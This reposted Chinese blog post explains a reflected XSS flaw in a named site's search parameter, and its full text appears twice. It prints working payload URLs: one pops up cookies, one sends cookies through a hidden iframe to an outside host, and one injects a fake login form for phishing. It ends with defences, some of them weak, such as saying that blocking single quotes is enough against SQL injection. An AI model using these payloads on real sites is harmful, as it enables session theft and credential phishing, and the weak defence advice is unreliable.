給我一對角括弧，我可以造出整個互連網

原文地址：

http://www.cnblogs.com/hkncd/archive/2012/04/25/2469188.html

 

 

這是一篇關於XSS攻擊的文章，前陣子看到一篇關於部落格園找找看XSS漏洞的文章，我研究了一下，發現事隔三個月，漏洞還在，不知為何。正好把這當素材寫下此文，讓我們來看看這個XSS漏洞究竟能帶來哪些危害。

漏洞分析

用一下找找看的搜尋功能就容易發現，搜尋功能往url中傳遞了兩個參數名“w”和“t”，輸入框對應“w”，搜尋分類對應“t”。看不到t參數的，點擊一下搜尋方塊上的分類連結就會找到。

按常理，輸入框是最容易發生攻擊的地方，因此找找看也作了防護。根據我的測試，至少有如下兩種防護措施：

1. Regex匹配並刪除字串包含”<script></script>”的部分。
2. 伺服器端對輸入字串長度做了限制。

雖說方法並不完美，但兩個加一起的確可以達到防護目的。參數“w”安全，可參數“t”卻沒有任何的防護措施，因此，漏洞就在這裡。

通過分析代碼，可看到最後”t“傳給了一個隱藏表單，代碼如下：

<input type="hidden" class="txtSeach" name="t" id="t" value="">

那我們只要將該input閉合，就可以隨心所欲的輸入任何內容，比如我們輸入‘Test"/><input type="hidden’，最後的結果就變成：

<input type="hidden" class="txtSeach" name="t" id="t" value="Test"/><input type="hidden"/>

看一下那篇文章中的，基本上就明白如何針對該漏洞進行js指令碼攻擊，如：

XSS危害之一 -- Cookie盜取

XSS能做的不只是彈窗，會js的都知道，通過document.cookie可以擷取到cookie資訊，為了測試，我們通過alert顯示出來。url地址這樣寫：

http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>alert(document.cookie)</script><input type="hidden

輸入網址會看到cookie值通過彈窗顯示出來，如：

通常，盜取Cookie會做的比較隱秘，不讓使用者覺察。一般的做法是通過構造一個隱藏的iframe，然後將cookie值作為參數隨iframe傳給攻擊者指定的網址。例如，我們把cookie傳給百度網站，可以輸入如下url地址：

http://zzk.cnblogs.com/s?w=hacker&t=a"/><iframe id="myid"></iframe><script>var frame=document.getElementById("myid");frame.src="http://www.baidu.com/?a="%2Bdocument.cookie;</script><input type="hidden

此處為了顯示效果，我們不隱藏iframe，可以看到如下：

通過Fiddler工具可以看到cookie已經傳送出去。一旦把iframe隱藏，使用者點選連結後就基本察覺不到自己的cookie被盜取。

部落格園最有用的cookie就是是登入後產生的名為“.DottextCookie“的cookie了，一旦被盜取，對方就可以直接通過cookie認證登入到你的帳號（比如用Firefox瀏覽器的Firecookie外掛程式來編輯cookie）。

然而，我測試發現，一直無法擷取該cookie，後來發現該cookie被標識為HttpOnly，這導致通過頁面js指令碼無法擷取。

因此，折騰一圈下來，雖然找找看功能有漏洞，卻無法盜取到有用的cookie值，我想這也可能是該漏洞一直未處理的原因之一。

XSS危害之二 -- 偽造Html元素，欺騙使用者

HttpOnly雖然是防cookie盜取的利器，但並不意味著可無視Xss漏洞，因為Xss的危害不僅僅是cookie盜取，它還可以偽造Html元素，欺騙使用者提交資訊。例如，我們輸入如下url地址：

http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>document.getElementById('searchResult').innerHTML="<div><form><label>Username:</label><input type='text' /><br/><label>Password:</label><input type='text' /><br/><input type='submit' value='submit'/></form></div>";</script><input type="hidden

通過url偽造了一個登入表單，為了示範目的，我沒有添加樣式，這樣可以看到如下：

這種效果簡陋，易被看穿，但我相信按照網站風格設計一下css樣式，加上一些提示性的文字，會產生很強的欺騙性，用一些誘惑性的文字或圖片很容易吸引使用者點擊並上鉤，因為使用者往往對網域名稱正確的頁面容易放鬆警惕，正所謂散彈打鳥，總會碰到幾個笨的。因此這種XSS攻擊雖沒有直接盜取cookie，依然會造成不小的危害。

XSS的防護措施

有不少人在我前一篇關於SQL攻擊的文章中留言問如何防護。其實我覺得看懂了攻擊方式，基本也就知道如何防護了。對於SQL注入，參數化查詢就可以完全勝任，甚至你只屏蔽單引號也一樣有很好的效果。

對於Xss攻擊，防護措施如下：

1. 上面提到的部落格園的做法--正則匹配加長度限制。
2. 將不需要在用戶端操作的cookie設定為HttpOnly。
3. 使用第三方類庫，如AntiXSS。
4. 對使用者輸入內容進行Html編碼，例如asp.net mvc中的MvcHtmlString類，總是將字串編碼以後再顯示。

方法很多且容易，但真正能使系統安全穩定，還要歸根於設計者本人，就像找找看功能，對輸入框進行了防護，卻忘記對另外一個參數進行處理，關鍵在於設計每一個功能的時候，腦中是否有防護的概念，是否用心。

結語

阿基米德說過：”給我一個槓桿，我可以翹起整個地球。“為了表述XSS的危害，我也模仿這種語氣，寫個誑語：”給我一對角括弧，我可以造出整個互連網。“

這是一篇關於XSS攻擊的文章，前陣子看到一篇關於部落格園找找看XSS漏洞的文章，我研究了一下，發現事隔三個月，漏洞還在，不知為何。正好把這當素材寫下此文，讓我們來看看這個XSS漏洞究竟能帶來哪些危害。

漏洞分析

用一下找找看的搜尋功能就容易發現，搜尋功能往url中傳遞了兩個參數名“w”和“t”，輸入框對應“w”，搜尋分類對應“t”。看不到t參數的，點擊一下搜尋方塊上的分類連結就會找到。

按常理，輸入框是最容易發生攻擊的地方，因此找找看也作了防護。根據我的測試，至少有如下兩種防護措施：

1. Regex匹配並刪除字串包含”<script></script>”的部分。
2. 伺服器端對輸入字串長度做了限制。

雖說方法並不完美，但兩個加一起的確可以達到防護目的。參數“w”安全，可參數“t”卻沒有任何的防護措施，因此，漏洞就在這裡。

通過分析代碼，可看到最後”t“傳給了一個隱藏表單，代碼如下：

<input type="hidden" class="txtSeach" name="t" id="t" value="">

那我們只要將該input閉合，就可以隨心所欲的輸入任何內容，比如我們輸入‘Test"/><input type="hidden’，最後的結果就變成：

<input type="hidden" class="txtSeach" name="t" id="t" value="Test"/><input type="hidden"/>

看一下那篇文章中的，基本上就明白如何針對該漏洞進行js指令碼攻擊，如：

XSS危害之一 -- Cookie盜取

XSS能做的不只是彈窗，會js的都知道，通過document.cookie可以擷取到cookie資訊，為了測試，我們通過alert顯示出來。url地址這樣寫：

http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>alert(document.cookie)</script><input type="hidden

輸入網址會看到cookie值通過彈窗顯示出來，如：

通常，盜取Cookie會做的比較隱秘，不讓使用者覺察。一般的做法是通過構造一個隱藏的iframe，然後將cookie值作為參數隨iframe傳給攻擊者指定的網址。例如，我們把cookie傳給百度網站，可以輸入如下url地址：

http://zzk.cnblogs.com/s?w=hacker&t=a"/><iframe id="myid"></iframe><script>var frame=document.getElementById("myid");frame.src="http://www.baidu.com/?a="%2Bdocument.cookie;</script><input type="hidden

此處為了顯示效果，我們不隱藏iframe，可以看到如下：

通過Fiddler工具可以看到cookie已經傳送出去。一旦把iframe隱藏，使用者點選連結後就基本察覺不到自己的cookie被盜取。

部落格園最有用的cookie就是是登入後產生的名為“.DottextCookie“的cookie了，一旦被盜取，對方就可以直接通過cookie認證登入到你的帳號（比如用Firefox瀏覽器的Firecookie外掛程式來編輯cookie）。

然而，我測試發現，一直無法擷取該cookie，後來發現該cookie被標識為HttpOnly，這導致通過頁面js指令碼無法擷取。

因此，折騰一圈下來，雖然找找看功能有漏洞，卻無法盜取到有用的cookie值，我想這也可能是該漏洞一直未處理的原因之一。

XSS危害之二 -- 偽造Html元素，欺騙使用者

HttpOnly雖然是防cookie盜取的利器，但並不意味著可無視Xss漏洞，因為Xss的危害不僅僅是cookie盜取，它還可以偽造Html元素，欺騙使用者提交資訊。例如，我們輸入如下url地址：

http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>document.getElementById('searchResult').innerHTML="<div><form><label>Username:</label><input type='text' /><br/><label>Password:</label><input type='text' /><br/><input type='submit' value='submit'/></form></div>";</script><input type="hidden

通過url偽造了一個登入表單，為了示範目的，我沒有添加樣式，這樣可以看到如下：

這種效果簡陋，易被看穿，但我相信按照網站風格設計一下css樣式，加上一些提示性的文字，會產生很強的欺騙性，用一些誘惑性的文字或圖片很容易吸引使用者點擊並上鉤，因為使用者往往對網域名稱正確的頁面容易放鬆警惕，正所謂散彈打鳥，總會碰到幾個笨的。因此這種XSS攻擊雖沒有直接盜取cookie，依然會造成不小的危害。

XSS的防護措施

有不少人在我前一篇關於SQL攻擊的文章中留言問如何防護。其實我覺得看懂了攻擊方式，基本也就知道如何防護了。對於SQL注入，參數化查詢就可以完全勝任，甚至你只屏蔽單引號也一樣有很好的效果。

對於Xss攻擊，防護措施如下：

1. 上面提到的部落格園的做法--正則匹配加長度限制。
2. 將不需要在用戶端操作的cookie設定為HttpOnly。
3. 使用第三方類庫，如AntiXSS。
4. 對使用者輸入內容進行Html編碼，例如asp.net mvc中的MvcHtmlString類，總是將字串編碼以後再顯示。

方法很多且容易，但真正能使系統安全穩定，還要歸根於設計者本人，就像找找看功能，對輸入框進行了防護，卻忘記對另外一個參數進行處理，關鍵在於設計每一個功能的時候，腦中是否有防護的概念，是否用心。

結語

阿基米德說過：”給我一個槓桿，我可以翹起整個地球。“為了表述XSS的危害，我也模仿這種語氣，寫個誑語：”給我一對角括弧，我可以造出整個互連網。“